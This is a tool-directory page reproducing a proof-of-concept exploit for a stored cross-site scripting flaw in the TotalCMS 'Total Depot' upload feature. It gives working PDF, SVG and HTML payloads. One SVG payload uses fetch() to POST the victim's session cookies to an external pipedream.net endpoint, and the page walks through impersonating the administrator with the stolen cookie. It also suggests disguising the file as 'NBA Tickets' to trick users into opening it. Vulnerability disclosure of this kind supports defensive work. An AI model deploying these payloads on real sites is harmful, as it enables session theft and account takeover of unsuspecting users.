Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
TotalCMS-Arbitrary_File-Upload--XSS_Steal_Cookies---TotalDepot — TotalCMS is affected by Arbitrary File Upload - XSS vulnerability which allows Cross-Site Scriting (XSS) Stored and also stealing session cookies | Kitploit
Tools/GitHubGitHub/sromanhu/totalcms-arbitrary_file-upload--xss_steal_cookies---totaldepot
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationLearning & Education
GitHubsromanhu/totalcms-arbitrary_file-upload--xss_steal_cookies---totaldepot

TotalCMS-Arbitrary_File-Upload--XSS_Steal_Cookies---TotalDepot

TotalCMS is affected by Arbitrary File Upload - XSS vulnerability which allows Cross-Site Scriting (XSS) Stored and also stealing session cookies

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
32 years agoNot yet reviewed
Share

TotalCMS Arbitrary File Upload - XSS and steal cookies

Author: (Sergio)

Description: TotalCMS is affected by Arbitrary File Upload - XSS vulnerability which allows Cross-Site Scriting (XSS) and also stealing session cookies

Attack Vectors: A vulnerability in "Total Depot" file upload sanitation allows you to upload a PDF / SVG /HTML file with hidden alert Cross-Site scripting (XSS) and steal the user cookies.


I am going to do 2 PoCS:

- POC 1: Cross-Site scripting (XSS) PDF / SVG and HTML files

- POC 2: Theft of user cookies and forwarding to an external server to intercept them and impersonate the user.

We start with the first PoC:

POC 1: Cross-Site scripting (XSS) PDF / SVG and HTML files

When logging into the admin panel (https://www.totalcms.co/demo/total-cms/admin/), we will go to the "Total Depot" off the Administration Site and we upload the PDF/ SVG/ and HTML files with the hidden XSS.

We modify the payload to steal cookies and send them to the pipedream Request, so that we can impersonate the user. Now we are going to impersonate the user. To test it, we open a session to TotalCMS/admin in another browser and open the "Cookie Editor" addon.

There is the payloads:

XSS PDF Payload:

It is an XSS payload generated with the JS2PDFInjector tool and a js payload that contains the following content:

root@kitploit:~
app.alert("XSS");

SVG Payload:

root@kitploit:~
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>

HTML Payload:

root@kitploit:~
<html>
	<script>
		alert(document.cookie);
	</script>
</html>

image

image

Once uploaded, if we click on the link we can see the path where they are stored:

image

PATH of the files:

image

image

image

And this is the result with the Cross-Site Scripting (XSS) of the 3 types of files and with the user's cookies:

image

image

image

We continue with the second PoC:

- POC 2: Theft of user cookies and forwarding to an external server to intercept them and impersonate the user.

We are going to pretend that we are a cybercriminal and we are going to steal the user's session cookies and they will be sent to the server.

In this case I have uploaded a file as PoC but in a real case, we can upload a file with an interesting name "NBA Tickets" and publish it, so that the victim user sends me the cookies when executing the file, without realizing it. of it.


Firs of all, we perform a test to see if we have communication with an external server.

There is the payload:

root@kitploit:~
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"        
height="200"        
zoomAndPan="disable"        
xmlns="http://www.w3.org/2000/svg"        
xmlns:xlink="http://www.w3.org/1999/xlink"        
xml:space="preserve">
<!-- Script linked from the outside-->     
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />     
<script>       
//<![CDATA[         
alert("XSS");       
]]>     
</script>   
</svg>

image

image

As we see in the pipedream Request, we have obtained the request correctly.



There is the payload:

root@kitploit:~
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"        
height="200"        
zoomAndPan="disable"        
xmlns="http://www.w3.org/2000/svg"        
xmlns:xlink="http://www.w3.org/1999/xlink"        
xml:space="preserve">
<!-- Script linked from the outside-->     
<script>
  fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
  });
</script>   
</svg>

We execute it:


image

image

As we see in the image, we have correctly obtained the user's session cookies.


image

We modify the session cookie to the one obtained in pipestream and save.

image

We reloaded the website and we have impersonated the administrator user.

image


Additional Information:

https://www.totalcms.co/

https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

Download Tool